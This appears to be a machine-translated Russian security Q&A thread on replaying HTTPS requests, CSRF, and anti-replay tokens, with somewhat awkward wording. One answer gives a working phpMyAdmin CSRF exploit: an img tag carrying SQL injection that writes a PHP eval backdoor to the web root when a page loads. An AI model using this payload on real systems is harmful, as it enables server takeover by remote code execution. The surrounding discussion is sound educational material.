Повторите атаки для запросов HTTPS
Допустим, тестер безопасности использует прокси-сервер, скажем Fiddler, и записывает HTTPS-запрос с использованием учетных данных администратора - при воспроизведении всего запроса (включая сеансовые и аутентификационные куки-файлы) тестер безопасности способен успешно (пере) записывать транзакции. Утверждается, что это признак уязвимости CSRF.
Что должен сделать злоумышленник, чтобы перехватить HTTPS-запрос и воспроизвести его? Это задача для сценаристов, хорошо финансируемых военных хакерских команд или технологий для путешествующих во времени инопланетян? Неужели так просто записывать сеансы SSL пользователей и воспроизводить их до истечения срока действия заявок?
Ни один код в приложении в настоящее время не делает ничего интересного в HTTP GET, поэтому AFAIK, обманывая администратора при нажатии на ссылку или загрузке изображения с вредоносным URL, не представляет проблемы.
6 ответов
HTTPS не воспроизводится, первый ответ сервера в последовательности квитирования включает случайное число, выбранное сервером.
Fiddler действует как прокси-сервер. Это означает, что он перехватывает запросы вашего браузера, а затем генерирует идентичный запрос к серверу, что означает, что у него есть доступ к открытому тексту, который он будет воспроизводить. Ваш браузер сообщает вам об этом, сообщая вам, что сертификат от Fiddler - "DO_NOT_TRUST_FiddlerRoot", с которым вы должны согласиться, прежде чем отправит сообщение, игнорирующее несоответствие сертификата.
То, что вы описываете, не является уязвимостью CSRF. HTTPS защищает от повторного воспроизведения необработанного зашифрованного текста и не дает злоумышленнику узнать содержание запроса.
Важно отметить, что HTTPS не защищает от CSRF. Если злоумышленник знает, какими должны быть переменные GET/POST, он может создать вредоносный HTML-код, который при выполнении целевым объектом будет выполнять действие, которого злоумышленник желает. Если веб-приложение не является общедоступным и злоумышленник не знает, как выглядит HTTP-запрос, он не может подделать запрос. Например, вот эксплойт CSRF, который я написал против phpMyAdmin. Я изменил этот эксплойт для работы с https, и все, что мне нужно было сделать, это изменить URL-адрес с http: // на https:// .
<html>
<img src="https://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>
Этот эксплойт использует mysql "в outfile", чтобы удалить черный ход. Он работает без скрипта, потому что он подделывает запрос GET, и браузер считает его изображением, пока не станет слишком поздно.
Вы подразумеваете просто воспроизведение SSL (который еще публично не показывался возможным) или куки-файлов аутентификации (которые зависят от приложения)? Первый из них будет указывать на тупую, обнаруженную в частном порядке уязвимость в SSL (которую я вряд ли смогу исправить, я мог бы добавить). Последнее, т. Е. Когда произвольный компьютер может предоставлять файлы cookie для ранее установленного сеанса с проверкой подлинности, действительно указывает на потенциально уязвимую уязвимость CSRF в вашем приложении, которую следует устранить.
Несмотря на то, что трафик SSL, как правило, невозможно отследить с помощью атаки MTM (при условии, что вы предприняли корректирующие действия в отношении уязвимости, обнаруженной в ноябре прошлого года), файл cookie, хранящийся на удаленном компьютере пользователя, не защищен от перехвата (особенно если существует уязвимость XSS на вашем сайте или любом сайте в том же домене, что и ваш сайт). Подобные междоменные уязвимости / уязвимости с двумя уязвимостями становятся все более распространенными, и, с точки зрения строгой безопасности, уязвимость потенциально может быть использована, даже если она не напрямую через ваше приложение.
- edit: Обратите внимание, я ошибаюсь из-за того, что SSL не обрабатывает атаки воспроизведения, согласно приведенному ниже. Реализация токенового подхода все еще хороша.
Попробуйте воспроизвести HTTPS-запрос, просто вернувшись в браузер и снова нажав кнопку.
То есть вам не нужно ничего декодировать, чтобы повторно отправить запрос SSL. Любой узел на пути может сделать это (они просто не могут видеть трафик).
Поэтому, если я перехватываю вашу транзакцию SSL, которая отправляет мне 100 долларов, я могу перехватить ее и отправить повторно, чтобы я продолжал получать деньги.
Очевидное решение этого (ну, типичное решение) состоит в том, чтобы сгенерировать токен на странице HTML, а затем сохранить то же значение в сеансе. Когда поступает запрос, вы проверяете это значение, проверяете, является ли оно текущим значением, и, если оно есть, обрабатываете его, а затем изменяете текущее значение.
Если это не текущее значение (т.е. это старое значение после того, как вы обработали "оригинальный" запрос), то вы знаете, что страница была повторно отправлена.
Это общий подход для предотвращения повторного предоставления данных кредитной карты и т. Д., Но он также имеет преимущество в безопасности, заключающееся в принудительном создании уникального запроса для соответствия каждому ответу. Злоумышленник в цепочке, который не может расшифровать SSL, не может пройти это.
SSL V2 полностью уязвим, его нельзя включать.
http://www.owasp.org/index.php?title=Transport_Layer_Protection_Cheat_Sheet
Насколько я знаю, CSRF - это когда один сайт ссылается на другой сайт и ворует учетные данные текущих пользователей как часть этого. CSRF - это НЕ просто пересылка запросов.
Прокси-сервер - это доверенный сервер пересылки, который не должен вмешиваться в запросы. Это так же просто, как классический человек в середине атаки. Если вы доверяете чему-то промежуточному между вашей связью с конечной точкой, вы зависите от человека в середине.
Чтобы перехватить и воспроизвести HTTPS-запрос (классическая HTTP-атака воспроизведения), вам нужно будет иметь возможность расшифровать SSL-шифрование трафика AFAIK. Я думаю, вы не можете этого сделать. Гораздо меньше, достаточно быстро, чтобы быть полезным.
Может пригодиться еще кое-что, но я не уверен, к чему ты клонишь.